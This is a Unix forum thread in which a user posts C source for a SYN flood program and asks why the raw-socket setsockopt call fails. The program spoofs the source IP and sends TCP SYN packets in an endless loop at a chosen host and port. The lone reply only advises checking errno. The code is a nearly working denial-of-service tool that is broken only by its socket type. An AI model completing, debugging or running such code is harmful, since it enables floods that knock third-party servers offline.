A SYN Flood example`s error - Unix

This is a discussion on A SYN Flood example`s error - Unix ; hi,this is a SYNFlood code below: -------------------------------------- #include #include #include #include #include #include #include #include #include #include #include #include #include unsigned long srcport; struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr ...

+ Reply to Thread
Results 1 to 2 of 2

Thread: A SYN Flood example`s error

  1. A SYN Flood example`s error

    hi,this is a SYNFlood code below:
    --------------------------------------
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    unsigned long srcport;

    struct pseudohdr
    {
    struct in_addr saddr;
    struct in_addr daddr;
    u_char zero;
    u_char protocol;
    u_short length;
    struct tcphdr tcpheader;
    };

    u_short checksum(u_short * data,u_short length)
    {
    int nleft=length;
    int sum=0;
    unsigned short *w=data;
    unsigned short value=0;

    while(nleft>1){
    sum+=*w++;
    nleft-=2;
    }

    if(nleft==1){
    *(unsigned char *)(&value)=*(unsigned char *)w;
    sum+=value;
    }

    sum=(sum>>16)+(sum & 0xffff);
    sum+=(sum>>16);
    value=~sum;
    return value;
    }

    int main(int argc ,char * argv[])
    {
    struct sockaddr_in sin;
    struct sockaddr_in din;
    struct hostent * hoste;
    struct hostent * host1;
    int j,sock,foo,flooddot=1;
    char buffer[40];
    struct ip* ipheader=(struct ip*) buffer;
    struct tcphdr * tcpheader=(struct
    tcphdr*)(buffer+sizeof(struct ip));
    struct pseudohdr pseudoheader;

    fprintf(stderr,"Syn attack against one port,(Infinite)\n");
    /*....*/
    if(argc<4)
    {
    fprintf(stderr,"usage:%s \n",argv[0]);
    return -1;
    }

    fprintf(stderr,"%s:%s is being syn'd attacked by
    %s.\n",argv[1],argv[2],argv[3]);
    bzero(&sin,sizeof(struct sockaddr_in)); /*write sizeof to
    &sin*/
    sin.sin_family=AF_INET;
    if((host1=gethostbyname(argv[3]))!=NULL)
    bcopy(host1->h_addr,&din.sin_addr,host1->h_length);
    else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)
    {
    fprintf(stderr,"unknown source host %s\n",argv[3]);
    return -1;
    }

    if((hoste=gethostbyname(argv[1]))!=NULL)
    bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
    else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
    {
    fprintf(stderr,"unknown destination host %s.\n",argv[1]);
    return -1;
    }

    if((sin.sin_port=htons(atoi(argv[2])))==0)
    {
    fprintf(stderr,"unknown port %s\n",argv[2]);
    return -1;
    }

    /*......sockaddr_in................*/
    if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
    {
    fprintf(stderr,"couldn't allocate raw socket!\n");
    return -1;
    }

    foo=1;
    /*...........*/
    if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(int
    *)&foo,sizeof(int))==-1)
    {
    fprintf(stderr,"couldn't set raw header on socket
    \n");
    return -1;
    }

    for(j=1;j>0;j++)
    {
    bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
    ipheader->ip_v=4;
    ipheader->ip_tos=0;
    ipheader->ip_hl=sizeof(struct ip)/4;
    ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
    ipheader->ip_id=htons(random());
    ipheader->ip_ttl=30; /*255*/
    ipheader->ip_p=IPPROTO_TCP;
    ipheader->ip_sum=0;
    ipheader->ip_src=din.sin_addr;
    ipheader->ip_dst=sin.sin_addr;

    tcpheader->source=htons(srcport); /*sin.sin_port*/
    tcpheader->dest=sin.sin_port;
    tcpheader->seq=htonl(0x28374839);
    tcpheader->syn=1;
    tcpheader->doff=sizeof(struct tcphdr)/4;
    tcpheader->window=htons(2048);
    tcpheader->check=0;

    bzero(&pseudoheader,12+sizeof(struct tcphdr));
    pseudoheader.saddr.s_addr=din.sin_addr.s_addr;
    pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
    pseudoheader.protocol=6;
    pseudoheader.length=htons(sizeof(struct tcphdr));
    tcpheader->check=checksum((u_short
    *)&pseudoheader,12+sizeof(struct tcphdr));
    /*.......*/
    /*....*/
    srcport=(10000.0*random()/(15000+1.0));
    if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct
    tcphdr),0,(struct sockaddr *) &sin,sizeof(struct
    sockaddr_in))==-1)
    /*....*/
    {
    fprintf(stderr,"couldn't send packet %d \n",errno);
    return -1;
    }

    usleep(2);
    if(!(flooddot=(flooddot+1)%(1))){
    fprintf(stdout,".");
    fflush(stdout);
    }
    /*..........................
    * {
    * fprintf(stdout,".%4d",j);
    * fflush(stdout);
    * }
    * int k=j;if((K%10)==0) printf("\n");
    */
    } /*The end of the infinite loop */
    close(sock);
    return 0;
    }

    ----------------------------
    everytime,the code stop at
    setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(int *)&foo,sizeof(int))==-1.
    I want to fabricate the source address ,and check it out in Richard
    Stevens`s book.
    In the setsockopt(), as i use IPPROTO_IP as level,and IP_HDRINCL as
    the optioname.
    In order to make every packets with IP head.
    why this function returns -1,and how to make it in the right
    way,who can explain it?
    best wishes

  2. Re: A SYN Flood example`s error

    Erfan wrote:
    > In the setsockopt(), as i use IPPROTO_IP as level,and IP_HDRINCL as
    > the optioname.
    > In order to make every packets with IP head.
    > why this function returns -1,and how to make it in the right
    > way,who can explain it?



    Its always a good idea to have a look at errno after a function failed.

+ Reply to Thread